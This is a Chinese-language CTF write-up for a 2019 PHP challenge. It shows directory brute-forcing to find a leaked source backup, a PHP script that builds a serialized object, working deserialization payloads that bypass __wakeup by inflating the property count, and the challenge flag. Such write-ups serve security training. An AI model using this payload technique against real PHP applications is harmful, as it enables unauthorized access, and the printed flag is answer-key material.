[极客大挑战 2019]PHP 1
打开文件发现提示信息“备份文件”,查看源码并未发现其他有效信息
采用dirsearch爆破目录,找到www.zip文件
解压zip,发现是源码泄露
提交flag,发现不正确,看到index.php源码中有Get传参,然后反序列化函数unserialize()
,判断为反序列化漏洞;
查看class.php可知,只要username=admin并且password=100,就能输出flag
于是构造反序列化payload
<?php
class Name{private $username = 'admin';private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
执行php方法序列化成字符串,Name前后需要添加%00
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
作为select
参数值,未能显示出flag
这是因为成员属性数目大于实际数目2时才可绕过wakeup
魔术方法,修改2为任意大于二的数字
O:4:"Name":666:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
成功拿到flag
flag{2629c697-31da-4735-8e1f-978a34067a82}
tips.
unserialize();方法解释:
从已存储的表示中创建 PHP 的值列化后的字符串。
若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()成员函数(如果存在的话);